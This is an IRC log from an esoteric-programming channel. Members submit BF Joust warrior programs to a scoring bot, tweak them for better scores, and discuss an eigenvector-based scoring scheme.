05:25:13 <Gregor> Well, that's a "relief"
05:25:15 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/UbXj
05:25:29 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 55.7
05:26:04 <Gregor> LAST THING I PROMISE
05:26:08 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/OYbY
05:26:10 <Gregor> Should be worse.
05:27:06 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 55.7
05:27:12 <Gregor> lol
05:27:35 <Gregor> This new 55.7 is a slightly-higher 55.7 :P
05:30:39 -!- asiekierka has joined.
05:32:07 -!- monodemono has joined.
05:32:22 -!- monodemono has left (?).
05:32:31 <zzo38> Gregor: Make it display more decimal places then? Otherwise how can I know?
05:32:40 <Gregor> By looking at the report.
05:32:45 <Gregor> Exactly how I knew.
05:37:30 <Sgeo> My dad is yelling at my step-mom
05:37:36 <Sgeo> Apparently, she was driving badly
05:40:46 -!- sftp has quit (Remote host closed the connection).
05:43:00 <quintopia> Gregor: can you make that table thing? pleeeeeease?
05:46:56 <Sgeo> <chair />
05:49:21 -!- asiekierka has quit (Ping timeout: 276 seconds).
05:55:22 <Gregor> quintopia: I honestly have no idea what you're talking about.
05:56:07 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/cSEQ
05:56:19 <Gregor> THIS IS THE FACE OF AN ADDICT
05:56:34 <quintopia> Gregor: a table like the one in the report, but instead of (i,j)=+,0,- have (i,j)=number of configurations in which i beats j
05:56:49 <Gregor> Oh
05:57:06 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 52.9
05:57:12 <Gregor> D'awwwwww
05:57:22 <Gregor> I really thought that might do better.
05:58:00 <Gregor> quintopia: I'll do that tomorrow if you remind me, it's just a bit more of a pain than I want to get to at 1:30AM when I REALLY ought to be asleep but am instead obsessive :P
05:58:11 <quintopia> I KNOW HOW THAT FEELS
05:58:22 <quintopia> and i should go get some caffeine
05:58:31 <quintopia> since i will be cramming all night
06:00:58 <Gregor> !bfjoust furry_furry_nipple_clamp_girls <
06:00:58 <Gregor> I'm shocked that strategy wasn't better ...
06:01:20 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 0.0
06:02:38 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
06:20:43 -!- poiuy_qwert has joined.
06:26:01 * Gregor adds a trail...
06:26:01 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/Dejf
06:26:30 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 58.9
06:26:36 <Gregor> WELL HALLO THAR
06:26:42 <pikhq_> Victory be thine?
06:26:45 * Gregor adds more trails!
06:27:57 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/ILBB
06:28:20 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 58.9
06:28:34 * Gregor adds MORE trails!
06:29:23 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/bPJP
06:29:36 <Gregor> Apparently my conclusion that trails were a dead strategy was ... somewhat incorrect :P
06:29:47 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 59.0
06:30:37 <Gregor> Where else did I not add trails ...
06:31:35 <Gregor> !bfjoust furry_furry_leather_discipline_girls http://sprunge.us/FYSi
06:31:56 <EgoBot> Score for Gregor_furry_furry_leather_discipline_girls: 59.0
06:32:08 <Gregor> Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaah
06:32:11 <Gregor> It's good to be king.
06:32:17 -!- pikhq_ has changed nick to pikhq.
06:36:25 <Vorpal> Gregor, why is it a perl script?
06:36:46 <Gregor> Vorpal: It includes the source for the program I used to generate it.
06:36:50 <Vorpal> ah
06:36:57 <Vorpal> Gregor, so how does this manage so well?
06:37:00 <Vorpal> !bfjoust
06:37:00 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
06:37:19 <Gregor> Vorpal: It's a hybrid of virtually every strategy there is :P
06:37:44 <Vorpal> Gregor, that isn't too helpful. How does it select which strategy to use?
06:37:55 <Vorpal> all at once would be too slow
06:38:27 <Gregor> It's 2AM, I'm going to sleep, I'll describe it on the wiki tomorrow :P
06:38:40 -!- zzo38 has quit (Remote host closed the connection).
06:38:41 <Vorpal> Gregor, also.... interesting names here
06:38:48 <Gregor> WHY THANK YOU 8-D
06:39:08 <pikhq> Gregor: Even the +[>+] "strategy"?
06:39:21 <Gregor> pikhq: That's not a strategy.
06:39:36 <pikhq> Yes it is. It's a piss-poor one.
06:39:45 <pikhq> Though it seems < is worse.
06:40:02 <Vorpal> pikhq, < is *not* a strategy :P
06:40:08 <Vorpal> it is suicide
06:40:34 <pikhq> Vorpal: Suicide is a strategy.
06:40:46 <pikhq> Just the most efficiently bad one.
06:40:47 <Vorpal> okay...
06:41:54 <Vorpal> bbl, university
06:48:53 -!- pikhq_ has joined.
06:49:46 -!- pikhq has quit (Ping timeout: 276 seconds).
06:57:48 <quintopia> !bfjoust wireless_frownie (>)*7+<-<(+)*18<(-)*19<(-)*19<(+)*19<(-)*17<(-)*22(>)*9([[[[-[++[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[(-)*26.[.-].[.++-------]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]>)*21
06:58:08 <EgoBot> Score for quintopia_wireless_frownie: 42.6
06:58:21 <quintopia> hey, a slight improvement...lol
06:59:28 <quintopia> let's see if you're right about trails!
06:59:35 <quintopia> !bfjoust wireless_frownie (>)*7+<-<(+)*18<(-)*19<(-)*19<(+)*19<(-)*17<(-)*22(>)*9([[[[-[++[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[(-)*26.[.-].[.++-------]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]+>)*21
06:59:45 <EgoBot> Score for quintopia_wireless_frownie: 46.5
06:59:49 <quintopia> woo!
07:00:54 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*33<(+)*33)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]->[[[[-[++[(+)*9.[-].[.++-------]]]]]]]+>)*10[[[[-[++[(+)*9.[.-].[.++-------]]]]]]]
07:01:00 <quintopia> HAVE TRAILS WIRELESS
07:01:19 <EgoBot> Score for quintopia_wireless: 42.4
07:01:34 <quintopia> that was an unimprovement
07:01:46 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*33<(+)*33)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>[[[[-[++[(+)*9.[-].[.++-------]]]]]]]+>)*10[[[[-[++[(+)*9.[.-].[.++-------]]]]]]]
07:01:55 <EgoBot> Score for quintopia_wireless: 43.9
07:02:11 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*33<(+)*33)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>[[[[-[++[(+)*9.[-].[.++-------]]]]]]]>)*10[[[[-[++[(+)*9.[.-].[.++-------]]]]]]]
07:02:21 <EgoBot> Score for quintopia_wireless: 45.3
07:02:42 <quintopia> conclusion: the efficacy of trails is extremely strategy dependent
07:03:19 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*23<(+)*23)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>[[[[-[++[(+)*9.[-].[.++-------]]]]]]]>)*10[[[[-[++[(+)*9.[.-].[.++-------]]]]]]]
07:04:10 <EgoBot> Score for quintopia_wireless: 46.3
07:04:24 <quintopia> smaller decoys on the other hand...ALWAYS FAVORABLE
07:04:41 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*23<(+)*23)*2<(-)*29(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>[[[[-[++[(+)*9.[-].[.++-------]]]]]]]>)*10[[[[-[++[(+)*9.[.-].[.++-------]]]]]]]
07:04:59 <EgoBot> Score for quintopia_wireless: 47.5
07:05:08 <quintopia> also favorable: bumping your own flag
07:14:04 -!- FireFly has joined.
07:23:56 -!- deadPrincess has joined.
07:25:20 -!- deadPrincess has quit (Client Quit).
07:27:20 -!- pingveno has quit (Ping timeout: 250 seconds).
07:29:09 -!- pingveno has joined.
07:41:47 -!- FireFly has quit (Remote host closed the connection).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:03:13 -!- pikhq_ has quit (Ping timeout: 240 seconds).
08:03:18 -!- pikhq has joined.
08:25:13 -!- aloril has quit (Ping timeout: 240 seconds).
08:37:32 -!- Wamanuz2 has joined.
08:37:39 -!- aloril has joined.
08:37:53 -!- GreaseMonkey has quit (Quit: The Other Game).
08:40:38 -!- Wamanuz has quit (Ping timeout: 246 seconds).
08:58:12 -!- Lymia has joined.
09:03:30 -!- pikhq_ has joined.
09:04:23 -!- pikhq has quit (Ping timeout: 276 seconds).
09:52:19 -!- cheater- has quit (Ping timeout: 272 seconds).
09:53:20 -!- cheater- has joined.
09:55:20 -!- mtve has joined.
10:02:33 -!- Sgeo has quit (Read error: Connection reset by peer).
10:02:59 -!- Sgeo has joined.
10:18:53 -!- pikhq_ has quit (Ping timeout: 255 seconds).
10:18:53 -!- pikhq has joined.
11:39:30 -!- Tritonio has joined.
11:46:06 -!- Tritonio has quit (Quit: Leaving).
11:59:19 -!- Lymia has quit (Read error: Connection reset by peer).
11:59:46 -!- Lymia has joined.
12:19:53 -!- cheater- has quit (Ping timeout: 240 seconds).
12:20:48 -!- cheater- has joined.
12:23:59 -!- ais523 has joined.
12:32:59 -!- ais523 has quit (Read error: Connection reset by peer).
12:35:15 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
12:35:40 -!- ais523 has joined.
12:43:29 -!- augur has quit (Remote host closed the connection).
12:48:18 -!- pikhq has quit (Ping timeout: 246 seconds).
12:48:32 -!- pikhq has joined.
13:03:42 -!- Sgeo has quit (Ping timeout: 246 seconds).
13:06:46 <Gregor> quintopia: HEY
13:06:57 <Gregor> You bumped me to second by modifying wireless_frownie >: (
13:07:37 <Gregor> (And/or wireless)
13:11:01 <fizzie> !bfjoust evo-1 http://p.zem.fi/evo-1
13:11:03 <fizzie> This is probably just a direct ripoff of your furry_furry_leather_discipline with some random changes, and it doesn't even perform so well (at least with crank), but for the record... (feel free to wipe these things out if you don't want them contaminating the scoreboard)
13:12:00 -!- ais523_ has joined.
13:12:22 -!- ais523 has quit (Disconnected by services).
13:12:27 -!- ais523_ has changed nick to ais523.
13:12:38 <Deewiant> fizzie: It's not parsing, apparently.
13:12:44 <fizzie> Deewiant: So it seems.
13:12:48 <Gregor> Very random changes :P
13:12:51 <fizzie> My bug, most likely.
13:12:55 <EgoBot> Score for fizzie_evo-1: 0.0
13:13:28 <fizzie> They're random-but-structural, but I guess there could be a buggery.
13:15:31 <Gregor> (...(..{..)...}...) is my bet :P
13:15:40 <fizzie> That shouldn't happen.
13:15:44 <fizzie> It also works in egojsout.
13:15:59 <Gregor> Then (...(...{...{...}...}...)...) is my bet
13:16:25 <fizzie> That shouldn't happen either, but I guess it's always possible.
13:17:26 <fizzie> Sure would be nice to get a more verbose error message than just "failed to parse".
13:20:00 <fizzie> I'll try a marginally different version just for giggles.
13:20:06 <fizzie> !bfjoust evo_2 http://p.zem.fi/evo-2
13:20:16 <EgoBot> Score for fizzie_evo_2: 0.0
13:20:18 <fizzie> Underscores seem to be the more common delimiter hereby.
13:20:29 <fizzie> Well, that's not surprising.
13:23:03 <quintopia> fizzie!
13:24:42 <quintopia> can you make me a table for the current hill where (i,j)=number of configurations in which i beat j?
13:25:27 <fizzie> Isn't that what the dpoints.png table is? Or do you mean a text version?
13:25:54 <quintopia> yes. text.
13:26:00 <quintopia> something i can input in matlab
13:26:23 <fizzie> I guess so; a moment.
13:28:19 -!- ais523_ has joined.
13:28:20 -!- ais523_ has quit (Changing host).
13:28:20 -!- ais523_ has joined.
13:28:36 -!- ais523 has quit (Disconnected by services).
13:28:37 -!- ais523_ has changed nick to ais523.
13:28:43 <quintopia> flail
13:31:28 <fizzie> http://users.ics.tkk.fi/htkallas/dpoints.txt http://users.ics.tkk.fi/htkallas/proglist.txt
13:31:42 <fizzie> It's pretty horribly formatted from numpy.savetxt, but after loading to matlab it looks just fine.
13:31:51 <fizzie> Diagonal values are NaNs.
13:32:02 <fizzie> And proglist gives the row/column number → program mappings.
13:33:26 -!- ais523_ has joined.
13:33:30 -!- ais523 has quit (Disconnected by services).
13:33:34 -!- ais523_ has changed nick to ais523.
13:46:46 <quintopia> so how do i go from this to (i,j)=number of configurations in which i beat j. do i just add 21 to everything?
13:49:27 -!- cheater- has quit (Ping timeout: 240 seconds).
13:49:47 <quintopia> oh i see
13:49:50 <quintopia> add 42
13:49:57 -!- cheater- has joined.
13:50:56 <fizzie> Oh, right; that was the sum of duel points, which takes losses as -1s.
13:51:49 <fizzie> I'm not sure you can get exactly that value back from it, since win+win+loss+loss = tie+tie+tie+tie in the sum.
13:52:16 <fizzie> I can do another table with the "sum of positive points only" values.
13:52:39 <quintopia> okay. thanks.
13:54:22 -!- ais523 has quit (Remote host closed the connection).
13:54:45 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
13:55:42 -!- ais523 has joined.
13:56:54 <fizzie> http://users.ics.tkk.fi/htkallas/dppoints.txt (with a double-p) should be that, unless I miswrote something.
13:57:48 -!- ais523 has quit (Remote host closed the connection).
13:58:08 -!- sebbu has quit (Read error: Connection reset by peer).
13:58:49 -!- sebbu has joined.
13:58:50 -!- sebbu has quit (Changing host).
13:58:50 -!- sebbu has joined.
14:00:32 -!- sebbu2 has joined.
14:00:32 -!- sebbu2 has quit (Changing host).
14:00:32 -!- sebbu2 has joined.
14:01:09 <fizzie> Let's try a generated Deewiant_pendolino mutation for a chance now; it's shorter, so maybe parse errors haven't crept in.
14:01:17 <fizzie> !bfjoust evo_3 http://p.zem.fi/evo-3
14:04:01 <fizzie> According to crank and a local hill-copy, it's pretty close to identical except it beats some elliott_awkwardly_long_name.
14:04:46 <EgoBot> Score for fizzie_evo_3: 57.2
14:05:03 -!- sebbu has quit (Ping timeout: 276 seconds).
14:05:04 -!- sebbu2 has changed nick to sebbu.
14:05:22 <quintopia> i think that works thanks
14:05:51 <Deewiant> fizzie: After that first *19 everything is dead code
14:06:36 <quintopia> Deewiant: you're just upset that it beat pendolino
14:06:40 <Deewiant> !bfjoust pendolino ->+++(>)*5->->+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:06:50 <fizzie> Mhm, well, you can't expect my thingie to know about that.
14:06:52 <EgoBot> Score for Deewiant_pendolino: 56.0
14:07:09 <quintopia> fizzie: what sort of GA are you using?
14:07:20 <Deewiant> !bfjoust pendolino ->++(>)*5->->+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:07:31 <fizzie> quintopia: It's mostly just a hack.
14:07:36 <EgoBot> Score for Deewiant_pendolino: 55.5
14:07:38 <quintopia> fizzie: crossover?
14:08:03 <fizzie> There's some crossover though only on the top-level; and some random mutation.
14:08:28 <quintopia> "top-level"?
14:08:37 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:09:03 <fizzie> quintopia: So that loops and ()-reps count as a single indivisible element for the purposes of that.
14:09:03 <EgoBot> Score for Deewiant_pendolino: 55.7
14:09:48 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2-(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:10:01 <EgoBot> Score for Deewiant_pendolino: 56.0
14:10:07 -!- copumpkin has joined.
14:10:16 <Deewiant> Weird-ass changes
14:11:02 <Deewiant> !bfjoust pendolino ->+++(>)*5->->+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:11:13 <EgoBot> Score for Deewiant_pendolino: 55.6
14:11:41 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:11:55 <EgoBot> Score for Deewiant_pendolino: 58.7
14:12:05 <Deewiant> That's better
14:13:01 <fizzie> Even though the scoring function supposedly optimizes the same score, the latest-generation variants dropped down to the end of the list according to my dpoints.png-generating code. Weirdness.
14:13:33 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*2(-<)*2(<)*5(+)*29>(-)*30>(+)*30>(-)*30>(-)*23>(+)*23(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:13:40 <EgoBot> Score for Deewiant_pendolino: 30.4
14:14:27 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*28(>)*9(->[-([+{[(+)*8[-].[.+]]}])%3])*19
14:14:28 <fizzie> That's not better.
14:14:47 <Deewiant> I thought it probably wouldn't be but wanted to be sure
14:14:54 <EgoBot> Score for Deewiant_pendolino: 51.4
14:15:04 <fizzie> !bfjoust evo_3 http://p.zem.fi/evo-3b
14:15:05 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*28(>)*9(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:15:11 <fizzie> That's what it spit out now, which is strange.
14:15:18 <EgoBot> Score for Deewiant_pendolino: 53.6
14:15:20 <EgoBot> Score for fizzie_evo_3: 0.0
14:15:41 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:15:43 <fizzie> I think my crank isn't exactly egojoust-compatible.
14:15:57 <EgoBot> Score for Deewiant_pendolino: 58.1
14:16:18 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:16:27 <EgoBot> Score for Deewiant_pendolino: 58.0
14:16:41 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:16:50 <EgoBot> Score for Deewiant_pendolino: 58.2
14:17:18 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*2(-<)*2(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:17:32 -!- copumpkin has quit (Ping timeout: 276 seconds).
14:17:33 <EgoBot> Score for Deewiant_pendolino: 58.0
14:17:35 <Gregor> I love how Deewiant's strategy is just "poke integers until victory"
14:17:38 <Gregor> Admittedly my strategy INVOLVES that.
14:17:39 <Gregor> But most of my improvements from last night were due to bugfixes :P
14:17:41 <Gregor> (e.g. my philip strategy lacking its steamroller core, or not having a tail)
14:17:45 <Gregor> fizzie: CHEATS
14:17:47 <Gregor> Hmmmm, fizzie: Do you distinguish * and %?
14:17:54 <fizzie> Yes, for the generated output.
14:18:01 <Deewiant> My biggest improvement yesterday was a bugfix as well
14:18:12 <Deewiant> Not running off the tape intentionally helps
14:18:13 <fizzie> From the evolver thingie, I mean. Crank doesn't when it's running those.
14:18:58 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<<<(-)*30>(+)*30>(-)*30>(+)*29(>)*6++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:19:13 <EgoBot> Score for Deewiant_pendolino: 47.1
14:19:16 * Gregor waits for Deewiant to finish adjusting integers until victory.
14:19:31 <Deewiant> Most of the time here I've not only been adjusting integers :-P
14:19:58 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*30(>)*9++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:20:04 <Deewiant> But I'll do it once just for you
14:20:08 <Gregor> X-D
14:20:09 <EgoBot> Score for Deewiant_pendolino: 57.7
14:20:16 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
14:20:20 <Deewiant> Oh well
14:20:41 <Gregor> Mainly I can't counter until pendolino is stable enough that I can actually guess how I'll do against it :P
14:20:41 <EgoBot> Score for Deewiant_pendolino: 58.2
14:20:44 <Deewiant> Gregor: All yours
14:21:14 <Gregor> Well ... I also can't counter until I'm not at work and don't have other things to do X-P
14:21:44 <Deewiant> :-P
14:31:35 -!- katy has joined.
14:31:58 <katy> hi all
14:32:48 <katy> what is this room about?
14:33:33 <Gregor> Esoteric programming languages and esoteric topic in computing.
14:33:56 <Gregor> At present, mostly a particular competitive programming language (BF Joust)
14:34:12 <katy> yikes!
14:34:38 <Gregor> Yeah, we're a strange bunch :P
14:35:01 <katy> lol, takes all kinds to make this stuff happen
14:36:04 <katy> whoosh over my head... thanks tho. bye
14:36:44 -!- katy has left (?).
14:36:51 <Gregor> Hyuk
14:40:05 -!- augur has joined.
14:41:41 -!- BeholdMyGlory has joined.
14:47:49 -!- Behold has joined.
14:48:01 -!- Sgeo has joined.
14:51:58 -!- BeholdMyGlory has quit (Ping timeout: 276 seconds).
15:05:40 <cheater-> should've told her it's about tantric sex therapy
15:05:59 <Deewiant> You really have a way with the ladies, don't you
15:06:18 <cheater-> they're all mine
15:06:35 <Deewiant> I suggest you don't tell them that
15:06:53 <cheater-> every time i do it they become even more mine.
15:07:32 <Gregor> cheater- just has poor grammar, he means they're "mines", and he's talking metaphorically.
15:07:42 <Gregor> Suffice it to say his love life blows up in his face a lot.
15:07:46 <cheater-> no i mean..
15:07:56 <cheater-> they all play minecraft
15:08:03 <cheater-> they all be minin'
15:08:26 <cheater-> they all mine. See?
15:08:29 <Gregor> X-D
15:08:35 <cheater-> :D
15:12:56 -!- pikhq has quit (Ping timeout: 250 seconds).
15:13:02 -!- pikhq_ has joined.
15:17:08 -!- azaq23 has joined.
15:27:33 <Ilari> APNIC down by about 0.2 today.
15:27:42 <Sgeo> WTF shit did I almost get myself into?
15:27:48 <Sgeo> And then failed to ever look at again?
15:28:06 <Sgeo> "As you can see from the project page, I am the only active developer on this
15:28:07 <Sgeo> project yet, so you would be number two. That's a high-risk investment of
15:28:07 <Sgeo> your time. If the project takes off, you'll be in from the start. But the
15:28:07 <Sgeo> risk that it doesn't take off is quite high."
15:29:35 <Sgeo> Just from reading the email, it looks like the node.js idea
15:29:41 <Sgeo> Except this wasn't node.js
15:29:58 <Deewiant> !bfjoust pendolino ->---(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
15:30:09 <EgoBot> Score for Deewiant_pendolino: 57.8
15:30:35 <Deewiant> !bfjoust pendolino ->+++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
15:30:40 <Ilari> 3x/12 for China (and a /21 for Japan). On IPv6 front, a /32 to Japan.
15:30:45 <Sgeo> http://jsext.sourceforge.net/
15:30:48 <EgoBot> Score for Deewiant_pendolino: 57.8
15:31:04 <Deewiant> !bfjoust pendolino ->--(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
15:31:13 <EgoBot> Score for Deewiant_pendolino: 57.9
15:31:45 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
15:31:58 <EgoBot> Score for Deewiant_pendolino: 58.1
15:32:43 <Deewiant> !bfjoust pendolino ->--(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
15:32:43 -!- copumpkin has joined.
15:32:50 <EgoBot> Score for Deewiant_pendolino: 57.9
15:33:04 <Deewiant> !bfjoust pendolino ->---(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
15:33:15 <EgoBot> Score for Deewiant_pendolino: 57.7
15:33:30 <Deewiant> !bfjoust pendolino ->++(>)*5->+>+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[-([+{[(+)*8[-].[.+]]}])%3])*19
15:33:37 <EgoBot> Score for Deewiant_pendolino: 58.2
15:36:25 -!- Sgeo has quit (Ping timeout: 255 seconds).
15:45:39 -!- Lymia_ has joined.
15:49:47 -!- Lymia has quit (Ping timeout: 276 seconds).
15:58:07 <quintopia> HEY GREGOR
15:58:10 <quintopia> did you ever wonder
15:58:18 <quintopia> what would happen
15:58:25 <Gregor> IF THE UNIVERSE EXPLODED
15:58:43 <quintopia> if every warrior handed every other warrior a fraction of its score based on the number of times that warrior beat it
15:58:54 <quintopia> and if, in doing so, all the scores stayed the same
15:59:00 <quintopia> what the scoreboard would look like?
15:59:22 <Gregor> Does this come 'round to you reminding me to add the more specific point breakdown to the report? :P
15:59:22 <quintopia> well, here's how, based on a limited scoreboard from data fizzie gave me: http://sprunge.us/SGda
15:59:56 <quintopia> no, it's my way of telling you i worked out the fixed point scoring algorithm :P
16:00:07 <Gregor> Ahhhhhhhhhhhh
16:00:57 <Gregor> Well, lay it on us.
16:01:07 <Gregor> And then convince me, ais and elliott.
16:01:11 <Gregor> And maybe Deewiant
16:01:17 <quintopia> i just did lay it on you!
16:01:25 <quintopia> ot'
16:01:50 <Gregor> ... the algorithm ...
16:01:58 <quintopia> oh
16:02:25 <quintopia> well that above explains the process the algorithm produces the limit scoreboard of
16:02:34 <quintopia> the closed form algorithm is this:
16:02:58 <quintopia> construct the matrix P(i,j)=number of configurations in which i beats j
16:03:04 <Gregor> "that above"? What above?
16:03:21 <quintopia> the thing about each warrior handing a fraction of its points to the warriors that beat it
16:03:34 <quintopia> based on the number of times they beat it
16:03:49 <Gregor> But that's how it works already, and that's not fixed-point :P
16:04:03 <Gregor> Ohohohohohwait
16:04:04 <quintopia> this is though
16:04:09 <quintopia> let me finish
16:04:11 <Gregor> Well, OK, just gimme the algo
16:04:32 <quintopia> let n be the number of warriors, so P is nxn, yes?
16:04:44 <quintopia> normalize P as P/(42*n)
16:05:19 <quintopia> also, initially set P(i,i)=0 for all i
16:05:57 <quintopia> now, for i=1 to n, let P(i,i)=1-(sum of column i)
16:06:51 <quintopia> finally take the eigenvector of P corresponding to eigenvalue 1 (it should be the first/highest eigenvalue), make sure its entries are positive, and multiply by 100 to put it on a 100 scale
16:07:10 <quintopia> you'll find then, that if you multiply P by this vector, you get the same vector back
16:07:17 <quintopia> so this is the score
16:07:19 <quintopia> and that's it
16:08:53 <quintopia> alternately, you could repeatedly multiply the P so constructed by the vector of all 1's until it settles down to the same score
16:09:03 <quintopia> if you don't want to solve the closed form problem
16:14:45 -!- pumpkin has joined.
16:15:10 <Gregor> Hmmmmmmmmmmmmmmmmmmmmmmmm
16:15:23 <quintopia> does it make sense what P actually is?
16:15:28 <Gregor> Yeah
16:15:30 -!- copumpki_ has joined.
16:15:49 <Gregor> I'm just wondering if this is getting to the point that it's too complicated for $RANDOM_PERSON_X to get ... maybe that's fine?
16:16:12 <quintopia> I WAS GOING FOR A FIXED POINT ALGORITHM THAT DID EVERYTHING THE CURRENT ONE DOES, NOT SOMETHING UNDERSTANDABLE
